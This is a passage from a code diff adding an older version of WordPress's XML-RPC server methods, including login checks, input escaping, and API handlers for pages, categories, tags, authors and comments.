+		if ( !get_option( 'enable_xmlrpc' ) ) {
+			$this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this blog.  An admin user can enable them at %s'),  admin_url('options-writing.php') ) );
+			return false;
+		}
+
+		if (!user_pass_ok($user_login, $user_pass)) {
+			$this->error = new IXR_Error(403, __('Bad login/pass combination.'));
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * Log user in.
+	 *
+	 * @since 2.8
+	 *
+	 * @param string $username User's username.
+	 * @param string $password User's password.
+	 * @return mixed WP_User object if authentication passed, false otherwise
+	 */
+	function login($username, $password) {
+		if ( !get_option( 'enable_xmlrpc' ) ) {
+			$this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this blog.  An admin user can enable them at %s'),  admin_url('options-writing.php') ) );
+			return false;
+		}
+
+		$user = wp_authenticate($username, $password);
+
+		if (is_wp_error($user)) {
+			$this->error = new IXR_Error(403, __('Bad login/pass combination.'));
+			return false;
+		}
+
+		set_current_user( $user->ID );
+		return $user;
+	}
+
+	/**
+	 * Sanitize string or array of strings for database.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string|array $array Sanitize single string or array of strings.
+	 * @return string|array Type matches $array and sanitized for the database.
+	 */
+	function escape(&$array) {
+		global $wpdb;
+
+		if(!is_array($array)) {
+			return($wpdb->escape($array));
+		}
+		else {
+			foreach ( (array) $array as $k => $v ) {
+				if (is_array($v)) {
+					$this->escape($array[$k]);
+				} else if (is_object($v)) {
+					//skip
+				} else {
+					$array[$k] = $wpdb->escape($v);
+				}
+			}
+		}
+	}
+
+	/**
+	 * Retrieve custom fields for post.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @return array Custom fields, if exist.
+	 */
+	function get_custom_fields($post_id) {
+		$post_id = (int) $post_id;
+
+		$custom_fields = array();
+
+		foreach ( (array) has_meta($post_id) as $meta ) {
+			// Don't expose protected fields.
+			if ( strpos($meta['meta_key'], '_wp_') === 0 ) {
+				continue;
+			}
+
+			$custom_fields[] = array(
+				"id"    => $meta['meta_id'],
+				"key"   => $meta['meta_key'],
+				"value" => $meta['meta_value']
+			);
+		}
+
+		return $custom_fields;
+	}
+
+	/**
+	 * Set custom fields for post.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @param array $fields Custom fields.
+	 */
+	function set_custom_fields($post_id, $fields) {
+		$post_id = (int) $post_id;
+
+		foreach ( (array) $fields as $meta ) {
+			if ( isset($meta['id']) ) {
+				$meta['id'] = (int) $meta['id'];
+
+				if ( isset($meta['key']) ) {
+					update_meta($meta['id'], $meta['key'], $meta['value']);
+				}
+				else {
+					delete_meta($meta['id']);
+				}
+			}
+			else {
+				$_POST['metakeyinput'] = $meta['key'];
+				$_POST['metavalue'] = $meta['value'];
+				add_meta($post_id);
+			}
+		}
+	}
+
+	/**
+	 * Setup blog options property.
+	 *
+	 * Passes property through 'xmlrpc_blog_options' filter.
+	 *
+	 * @since 2.6.0
+	 */
+	function initialise_blog_option_info( ) {
+		global $wp_version;
+
+		$this->blog_options = array(
+			// Read only options
+			'software_name'		=> array(
+				'desc'			=> __( 'Software Name' ),
+				'readonly'		=> true,
+				'value'			=> 'WordPress'
+			),
+			'software_version'	=> array(
+				'desc'			=> __( 'Software Version' ),
+				'readonly'		=> true,
+				'value'			=> $wp_version
+			),
+			'blog_url'			=> array(
+				'desc'			=> __( 'Blog URL' ),
+				'readonly'		=> true,
+				'option'		=> 'siteurl'
+			),
+
+			// Updatable options
+			'time_zone'			=> array(
+				'desc'			=> __( 'Time Zone' ),
+				'readonly'		=> false,
+				'option'		=> 'gmt_offset'
+			),
+			'blog_title'		=> array(
+				'desc'			=> __( 'Blog Title' ),
+				'readonly'		=> false,
+				'option'			=> 'blogname'
+			),
+			'blog_tagline'		=> array(
+				'desc'			=> __( 'Blog Tagline' ),
+				'readonly'		=> false,
+				'option'		=> 'blogdescription'
+			),
+			'date_format'		=> array(
+				'desc'			=> __( 'Date Format' ),
+				'readonly'		=> false,
+				'option'		=> 'date_format'
+			),
+			'time_format'		=> array(
+				'desc'			=> __( 'Time Format' ),
+				'readonly'		=> false,
+				'option'		=> 'time_format'
+			)
+		);
+
+		$this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options );
+	}
+
+	/**
+	 * Retrieve the blogs of the user.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getUsersBlogs( $args ) {
+		// If this isn't on WPMU then just use blogger_getUsersBlogs
+		if( !function_exists( 'is_site_admin' ) ) {
+			array_unshift( $args, 1 );
+			return $this->blogger_getUsersBlogs( $args );
+		}
+
+		$this->escape( $args );
+
+		$username = $args[0];
+		$password = $args[1];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action( 'xmlrpc_call', 'wp.getUsersBlogs' );
+
+		$blogs = (array) get_blogs_of_user( $user->ID );
+		$struct = array( );
+
+		foreach( $blogs as $blog ) {
+			// Don't include blogs that aren't hosted at this site
+			if( $blog->site_id != $current_site->id )
+				continue;
+
+			$blog_id = $blog->userblog_id;
+			switch_to_blog($blog_id);
+			$is_admin = current_user_can('level_8');
+
+			$struct[] = array(
+				'isAdmin'		=> $is_admin,
+				'url'			=> get_option( 'home' ) . '/',
+				'blogid'		=> $blog_id,
+				'blogName'		=> get_option( 'blogname' ),
+				'xmlrpc'		=> site_url( 'xmlrpc.php' )
+			);
+
+			restore_current_blog( );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getPage($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$page_id	= (int) $args[1];
+		$username	= $args[2];
+		$password	= $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_page', $page_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this page.' ) );
+
+		do_action('xmlrpc_call', 'wp.getPage');
+
+		// Lookup page info.
+		$page = get_page($page_id);
+
+		// If we found the page then format the data.
+		if($page->ID && ($page->post_type == "page")) {
+			// Get all of the page content and link.
+			$full_page = get_extended($page->post_content);
+			$link = post_permalink($page->ID);
+
+			// Get info the page parent if there is one.
+			$parent_title = "";
+			if(!empty($page->post_parent)) {
+				$parent = get_page($page->post_parent);
+				$parent_title = $parent->post_title;
+			}
+
+			// Determine comment and ping settings.
+			$allow_comments = comments_open($page->ID) ? 1 : 0;
+			$allow_pings = pings_open($page->ID) ? 1 : 0;
+
+			// Format page date.
+			$page_date = mysql2date("Ymd\TH:i:s", $page->post_date, false);
+			$page_date_gmt = mysql2date("Ymd\TH:i:s", $page->post_date_gmt, false);
+
+			// Pull the categories info together.
+			$categories = array();
+			foreach(wp_get_post_categories($page->ID) as $cat_id) {
+				$categories[] = get_cat_name($cat_id);
+			}
+
+			// Get the author info.
+			$author = get_userdata($page->post_author);
+
+			$page_template = get_post_meta( $page->ID, '_wp_page_template', true );
+			if( empty( $page_template ) )
+				$page_template = 'default';
+
+			$page_struct = array(
+				"dateCreated"			=> new IXR_Date($page_date),
+				"userid"				=> $page->post_author,
+				"page_id"				=> $page->ID,
+				"page_status"			=> $page->post_status,
+				"description"			=> $full_page["main"],
+				"title"					=> $page->post_title,
+				"link"					=> $link,
+				"permaLink"				=> $link,
+				"categories"			=> $categories,
+				"excerpt"				=> $page->post_excerpt,
+				"text_more"				=> $full_page["extended"],
+				"mt_allow_comments"		=> $allow_comments,
+				"mt_allow_pings"		=> $allow_pings,
+				"wp_slug"				=> $page->post_name,
+				"wp_password"			=> $page->post_password,
+				"wp_author"				=> $author->display_name,
+				"wp_page_parent_id"		=> $page->post_parent,
+				"wp_page_parent_title"	=> $parent_title,
+				"wp_page_order"			=> $page->menu_order,
+				"wp_author_id"			=> $author->ID,
+				"wp_author_display_name"	=> $author->display_name,
+				"date_created_gmt"		=> new IXR_Date($page_date_gmt),
+				"custom_fields"			=> $this->get_custom_fields($page_id),
+				"wp_page_template"		=> $page_template
+			);
+
+			return($page_struct);
+		}
+		// If the page doesn't exist indicate that.
+		else {
+			return(new IXR_Error(404, __("Sorry, no such page.")));
+		}
+	}
+
+	/**
+	 * Retrieve Pages.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getPages($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$num_pages	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) );
+
+		do_action('xmlrpc_call', 'wp.getPages');
+
+		$page_limit = 10;
+		if( isset( $num_pages ) ) {
+			$page_limit = $num_pages;
+		}
+
+		$pages = get_posts( array('post_type' => 'page', 'post_status' => 'all', 'numberposts' => $page_limit) );
+		$num_pages = count($pages);
+
+		// If we have pages, put together their info.
+		if($num_pages >= 1) {
+			$pages_struct = array();
+
+			for($i = 0; $i < $num_pages; $i++) {
+				$page = wp_xmlrpc_server::wp_getPage(array(
+					$blog_id, $pages[$i]->ID, $username, $password
+				));
+				$pages_struct[] = $page;
+			}
+
+			return($pages_struct);
+		}
+		// If no pages were found return an error.
+		else {
+			return(array());
+		}
+	}
+
+	/**
+	 * Create new page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return unknown
+	 */
+	function wp_newPage($args) {
+		// Items not escaped here will be escaped in newPost.
+		$username	= $this->escape($args[1]);
+		$password	= $this->escape($args[2]);
+		$page		= $args[3];
+		$publish	= $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'wp.newPage');
+
+		// Make sure the user is allowed to add new pages.
+		if(!current_user_can("publish_pages")) {
+			return(new IXR_Error(401, __("Sorry, you cannot add new pages.")));
+		}
+
+		// Mark this as content for a page.
+		$args[3]["post_type"] = "page";
+
+		// Let mw_newPost do all of the heavy lifting.
+		return($this->mw_newPost($args));
+	}
+
+	/**
+	 * Delete page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool True, if success.
+	 */
+	function wp_deletePage($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$page_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'wp.deletePage');
+
+		// Get the current page based on the page_id and
+		// make sure it is a page and not a post.
+		$actual_page = wp_get_single_post($page_id, ARRAY_A);
+		if(
+			!$actual_page
+			|| ($actual_page["post_type"] != "page")
+		) {
+			return(new IXR_Error(404, __("Sorry, no such page.")));
+		}
+
+		// Make sure the user can delete pages.
+		if(!current_user_can("delete_page", $page_id)) {
+			return(new IXR_Error(401, __("Sorry, you do not have the right to delete this page.")));
+		}
+
+		// Attempt to delete the page.
+		$result = wp_delete_post($page_id);
+		if(!$result) {
+			return(new IXR_Error(500, __("Failed to delete the page.")));
+		}
+
+		return(true);
+	}
+
+	/**
+	 * Edit page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return unknown
+	 */
+	function wp_editPage($args) {
+		// Items not escaped here will be escaped in editPost.
+		$blog_id	= (int) $args[0];
+		$page_id	= (int) $this->escape($args[1]);
+		$username	= $this->escape($args[2]);
+		$password	= $this->escape($args[3]);
+		$content	= $args[4];
+		$publish	= $args[5];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'wp.editPage');
+
+		// Get the page data and make sure it is a page.
+		$actual_page = wp_get_single_post($page_id, ARRAY_A);
+		if(
+			!$actual_page
+			|| ($actual_page["post_type"] != "page")
+		) {
+			return(new IXR_Error(404, __("Sorry, no such page.")));
+		}
+
+		// Make sure the user is allowed to edit pages.
+		if(!current_user_can("edit_page", $page_id)) {
+			return(new IXR_Error(401, __("Sorry, you do not have the right to edit this page.")));
+		}
+
+		// Mark this as content for a page.
+		$content["post_type"] = "page";
+
+		// Arrange args in the way mw_editPost understands.
+		$args = array(
+			$page_id,
+			$username,
+			$password,
+			$content,
+			$publish
+		);
+
+		// Let mw_editPost do all of the heavy lifting.
+		return($this->mw_editPost($args));
+	}
+
+	/**
+	 * Retrieve page list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return unknown
+	 */
+	function wp_getPageList($args) {
+		global $wpdb;
+
+		$this->escape($args);
+
+		$blog_id				= (int) $args[0];
+		$username				= $args[1];
+		$password				= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) );
+
+		do_action('xmlrpc_call', 'wp.getPageList');
+
+		// Get list of pages ids and titles
+		$page_list = $wpdb->get_results("
+			SELECT ID page_id,
+				post_title page_title,
+				post_parent page_parent_id,
+				post_date_gmt,
+				post_date
+			FROM {$wpdb->posts}
+			WHERE post_type = 'page'
+			ORDER BY ID
+		");
+
+		// The date needs to be formated properly.
+		$num_pages = count($page_list);
+		for($i = 0; $i < $num_pages; $i++) {
+			$post_date = mysql2date("Ymd\TH:i:s", $page_list[$i]->post_date, false);
+			$post_date_gmt = mysql2date("Ymd\TH:i:s", $page_list[$i]->post_date_gmt, false);
+
+			$page_list[$i]->dateCreated = new IXR_Date($post_date);
+			$page_list[$i]->date_created_gmt = new IXR_Date($post_date_gmt);
+
+			unset($page_list[$i]->post_date_gmt);
+			unset($page_list[$i]->post_date);
+		}
+
+		return($page_list);
+	}
+
+	/**
+	 * Retrieve authors list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getAuthors($args) {
+
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if(!current_user_can("edit_posts")) {
+			return(new IXR_Error(401, __("Sorry, you cannot edit posts on this blog.")));
+		}
+
+		do_action('xmlrpc_call', 'wp.getAuthors');
+
+		$authors = array();
+		foreach( (array) get_users_of_blog() as $row ) {
+			$authors[] = array(
+				"user_id"       => $row->user_id,
+				"user_login"    => $row->user_login,
+				"display_name"  => $row->display_name
+			);
+		}
+
+		return($authors);
+	}
+
+	/**
+	 * Get list of all tags
+	 *
+	 * @since 2.7
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getTags( $args ) {
+		$this->escape( $args );
+
+		$blog_id		= (int) $args[0];
+		$username		= $args[1];
+		$password		= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view tags.' ) );
+		}
+
+		do_action( 'xmlrpc_call', 'wp.getKeywords' );
+
+		$tags = array( );
+
+		if( $all_tags = get_tags( ) ) {
+			foreach( (array) $all_tags as $tag ) {
+				$struct['tag_id']			= $tag->term_id;
+				$struct['name']				= $tag->name;
+				$struct['count']			= $tag->count;
+				$struct['slug']				= $tag->slug;
+				$struct['html_url']			= esc_html( get_tag_link( $tag->term_id ) );
+				$struct['rss_url']			= esc_html( get_tag_feed_link( $tag->term_id ) );
+
+				$tags[] = $struct;
+			}
+		}
+
+		return $tags;
+	}
+
+	/**
+	 * Create new category.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int Category ID.
+	 */
+	function wp_newCategory($args) {
+		$this->escape($args);
+
+		$blog_id				= (int) $args[0];
+		$username				= $args[1];
+		$password				= $args[2];
+		$category				= $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'wp.newCategory');
+
+		// Make sure the user is allowed to add a category.
+		if(!current_user_can("manage_categories")) {
+			return(new IXR_Error(401, __("Sorry, you do not have the right to add a category.")));
+		}
+
+		// If no slug was provided make it empty so that
+		// WordPress will generate one.
+		if(empty($category["slug"])) {
+			$category["slug"] = "";
+		}
+
+		// If no parent_id was provided make it empty
+		// so that it will be a top level page (no parent).
+		if ( !isset($category["parent_id"]) )
+			$category["parent_id"] = "";
+
+		// If no description was provided make it empty.
+		if(empty($category["description"])) {
+			$category["description"] = "";
+		}
+
+		$new_category = array(
+			"cat_name"				=> $category["name"],
+			"category_nicename"		=> $category["slug"],
+			"category_parent"		=> $category["parent_id"],
+			"category_description"	=> $category["description"]
+		);
+
+		$cat_id = wp_insert_category($new_category);
+		if(!$cat_id) {
+			return(new IXR_Error(500, __("Sorry, the new category failed.")));
+		}
+
+		return($cat_id);
+	}
+
+	/**
+	 * Remove category.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return mixed See {@link wp_delete_category()} for return info.
+	 */
+	function wp_deleteCategory($args) {
+		$this->escape($args);
+
+		$blog_id		= (int) $args[0];
+		$username		= $args[1];
+		$password		= $args[2];
+		$category_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'wp.deleteCategory');
+
+		if( !current_user_can("manage_categories") ) {
+			return new IXR_Error( 401, __( "Sorry, you do not have the right to delete a category." ) );
+		}
+
+		return wp_delete_category( $category_id );
+	}
+
+	/**
+	 * Retrieve category list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_suggestCategories($args) {
+		$this->escape($args);
+
+		$blog_id				= (int) $args[0];
+		$username				= $args[1];
+		$password				= $args[2];
+		$category				= $args[3];
+		$max_results			= (int) $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts to this blog in order to view categories.' ) );
+
+		do_action('xmlrpc_call', 'wp.suggestCategories');
+
+		$category_suggestions = array();
+		$args = array('get' => 'all', 'number' => $max_results, 'name__like' => $category);
+		foreach ( (array) get_categories($args) as $cat ) {
+			$category_suggestions[] = array(
+				"category_id"	=> $cat->cat_ID,
+				"category_name"	=> $cat->cat_name
+			);
+		}
+
+		return($category_suggestions);
+	}
+
+	/**
+	 * Retrieve comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getComment($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) );
+
+		do_action('xmlrpc_call', 'wp.getComment');
+
+		if ( ! $comment = get_comment($comment_id) )
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+
+		// Format page date.
+		$comment_date = mysql2date("Ymd\TH:i:s", $comment->comment_date, false);
+		$comment_date_gmt = mysql2date("Ymd\TH:i:s", $comment->comment_date_gmt, false);
+
+		if ( 0 == $comment->comment_approved )
+			$comment_status = 'hold';
+		else if ( 'spam' == $comment->comment_approved )
+			$comment_status = 'spam';
+		else if ( 1 == $comment->comment_approved )
+			$comment_status = 'approve';
+		else
+			$comment_status = $comment->comment_approved;
+
+		$link = get_comment_link($comment);
+
+		$comment_struct = array(
+			"date_created_gmt"		=> new IXR_Date($comment_date_gmt),
+			"user_id"				=> $comment->user_id,
+			"comment_id"			=> $comment->comment_ID,
+			"parent"				=> $comment->comment_parent,
+			"status"				=> $comment_status,
+			"content"				=> $comment->comment_content,
+			"link"					=> $link,
+			"post_id"				=> $comment->comment_post_ID,
+			"post_title"			=> get_the_title($comment->comment_post_ID),
+			"author"				=> $comment->comment_author,
+			"author_url"			=> $comment->comment_author_url,
+			"author_email"			=> $comment->comment_author_email,
+			"author_ip"				=> $comment->comment_author_IP,
+			"type"					=> $comment->comment_type,
+		);
+
+		return $comment_struct;
+	}
+
+	/**
+	 * Retrieve comments.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getComments($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$struct		= $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit comments.' ) );
+
+		do_action('xmlrpc_call', 'wp.getComments');
+
+		if ( isset($struct['status']) )
+			$status = $struct['status'];
+		else
+			$status = '';
+
+		$post_id = '';
+		if ( isset($struct['post_id']) )
+			$post_id = absint($struct['post_id']);
+
+		$offset = 0;
+		if ( isset($struct['offset']) )
+			$offset = absint($struct['offset']);
+
+		$number = 10;
+		if ( isset($struct['number']) )
+			$number = absint($struct['number']);
+
+		$comments = get_comments( array('status' => $status, 'post_id' => $post_id, 'offset' => $offset, 'number' => $number ) );
+		$num_comments = count($comments);
+
+		if ( ! $num_comments )
+			return array();
+
+		$comments_struct = array();
+
+		for ( $i = 0; $i < $num_comments; $i++ ) {
+			$comment = wp_xmlrpc_server::wp_getComment(array(
+				$blog_id, $username, $password, $comments[$i]->comment_ID,
+			));
+			$comments_struct[] = $comment;
+		}
+
+		return $comments_struct;
+	}
+
+	/**
+	 * Remove comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return mixed {@link wp_delete_comment()}
+	 */
+	function wp_deleteComment($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_ID	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) );
+
+		do_action('xmlrpc_call', 'wp.deleteComment');
+
+		if ( ! get_comment($comment_ID) )
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+
+		return wp_delete_comment($comment_ID);
+	}
+
+	/**
+	 * Edit comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool True, on success.
+	 */
+	function wp_editComment($args) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_ID	= (int) $args[3];
+		$content_struct = $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) );
+
+		do_action('xmlrpc_call', 'wp.editComment');
+
+		if ( ! get_comment($comment_ID) )
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+
+		if ( isset($content_struct['status']) ) {
+			$statuses = get_comment_statuses();
+			$statuses = array_keys($statuses);
+
+			if ( ! in_array($content_struct['status'], $statuses) )
+				return new IXR_Error( 401, __( 'Invalid comment status.' ) );
+			$comment_approved = $content_struct['status'];
+		}
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) ) {
+			$dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']->getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force
+			$comment_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$comment_date_gmt = iso8601_to_datetime($dateCreated, GMT);
+		}
+
+		if ( isset($content_struct['content']) )
+			$comment_content = $content_struct['content'];
+
+		if ( isset($content_struct['author']) )
+			$comment_author = $content_struct['author'];
+
+		if ( isset($content_struct['author_url']) )
+			$comment_author_url = $content_struct['author_url'];
+
+		if ( isset($content_struct['author_email']) )
+			$comment_author_email = $content_struct['author_email'];
+
+		// We've got all the data -- post it:
+		$comment = compact('comment_ID', 'comment_content', 'comment_approved', 'comment_date', 'comment_date_gmt', 'comment_author', 'comment_author_email', 'comment_author_url');
+
+		$result = wp_update_comment($comment);
+		if ( is_wp_error( $result ) )
+			return new IXR_Error(500, $result->get_error_message());
+
+		if ( !$result )
+			return new IXR_Error(500, __('Sorry, the comment could not be edited. Something wrong happened.'));
+
+		return true;
+	}
+
+	/**
+	 * Create new comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return mixed {@link wp_new_comment()}
+	 */
+	function wp_newComment($args) {
+		global $wpdb;
+
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$post		= $args[3];
+		$content_struct = $args[4];
+
+		$allow_anon = apply_filters('xmlrpc_allow_anonymous_comments', false);
+
+		$user = $this->login($username, $password);
+
+		if ( !$user ) {
+			$logged_in = false;
+			if ( $allow_anon && get_option('comment_registration') )
+				return new IXR_Error( 403, __( 'You must be registered to comment' ) );
+			else if ( !$allow_anon )
+				return $this->error;
+		} else {
+			$logged_in = true;
+		}
+
+		if ( is_numeric($post) )
+			$post_id = absint($post);
+		else
+			$post_id = url_to_postid($post);
+
+		if ( ! $post_id )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! get_post($post_id) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		$comment['comment_post_ID'] = $post_id;
+
+		if ( $logged_in ) {
+			$comment['comment_author'] = $wpdb->escape( $user->display_name );
+			$comment['comment_author_email'] = $wpdb->escape( $user->user_email );
+			$comment['comment_author_url'] = $wpdb->escape( $user->user_url );
+			$comment['user_ID'] = $user->ID;
+		} else {
+			$comment['comment_author'] = '';
+			if ( isset($content_struct['author']) )
+				$comment['comment_author'] = $content_struct['author'];
+
+			$comment['comment_author_email'] = '';
+			if ( isset($content_struct['author_email']) )
+				$comment['comment_author_email'] = $content_struct['author_email'];
+
+			$comment['comment_author_url'] = '';
+			if ( isset($content_struct['author_url']) )
+				$comment['comment_author_url'] = $content_struct['author_url'];
+
+			$comment['user_ID'] = 0;
+
+			if ( get_option('require_name_email') ) {
+				if ( 6 > strlen($comment['comment_author_email']) || '' == $comment['comment_author'] )
+					return new IXR_Error( 403, __( 'Comment author name and email are required' ) );
+				elseif ( !is_email($comment['comment_author_email']) )
+					return new IXR_Error( 403, __( 'A valid email address is required' ) );
+			}
+		}
+
+		$comment['comment_parent'] = isset($content_struct['comment_parent']) ? absint($content_struct['comment_parent']) : 0;
+
+		$comment['comment_content'] = $content_struct['content'];
+
+		do_action('xmlrpc_call', 'wp.newComment');
+
+		return wp_new_comment($comment);
+	}
+
+	/**
+	 * Retrieve all of the comment status.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getCommentStatusList($args) {
+		$this->escape( $args );
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
+
+		do_action('xmlrpc_call', 'wp.getCommentStatusList');
+
+		return get_comment_statuses( );
+	}
+
+	/**
+	 * Retrieve comment count.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getCommentCount( $args ) {
+		$this->escape($args);
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$post_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) ) {
+			return new IXR_Error( 403, __( 'You are not allowed access to details about comments.' ) );
+		}
+
+		do_action('xmlrpc_call', 'wp.getCommentCount');
+
+		$count = wp_count_comments( $post_id );
+		return array(
+			"approved" => $count->approved,
+			"awaiting_moderation" => $count->moderated,
+			"spam" => $count->spam,
+			"total_comments" => $count->total_comments
+		);
+	}
+
+	/**
+	 * Retrieve post statuses.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getPostStatusList( $args ) {
+		$this->escape( $args );
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) ) {
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
+		}
+
+		do_action('xmlrpc_call', 'wp.getPostStatusList');
+
+		return get_post_statuses( );
+	}
+
+	/**
+	 * Retrieve page statuses.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getPageStatusList( $args ) {
+		$this->escape( $args );
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) ) {
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
+		}
+
